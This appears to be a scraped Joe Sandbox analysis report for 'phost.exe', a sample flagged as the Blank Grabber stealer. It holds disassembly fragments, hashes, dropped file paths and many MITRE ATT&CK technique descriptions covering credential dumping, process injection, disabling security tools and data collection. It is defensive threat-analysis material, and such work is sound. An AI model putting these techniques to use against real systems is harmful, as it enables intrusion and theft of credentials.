Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF6BBCFB97B
GetLastError.KERNEL32 ref: 00007FF6BBCFB986

Part of subcall function 00007FF6BBCCCA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF6BBCCCEDE

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00007FF6BBCFB990

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ErrorExceptionLastObjectSingleThrowWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 564652978-2248577382
Opcode ID: 46226563a9827009269dbdda457766bca55c7f33c1314a041e0b52dd23cb2e00
Instruction ID: 479661b8c753edfcdf12562efad7ffae7c6e5fccdc1019d042d46d884d9a4cb6
Opcode Fuzzy Hash: 46226563a9827009269dbdda457766bca55c7f33c1314a041e0b52dd23cb2e00
Instruction Fuzzy Hash: 25E04F21E0884242EA08E72DEC890753360FF6D7B4F905731D23EC25F29F6CA546C341

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report phost.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Blank Grabber

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\ ? ? \Display (1).png

C:\Users\user\AppData\Local\Temp\C7XW6.zip

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

Windows Analysis Report
phost.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre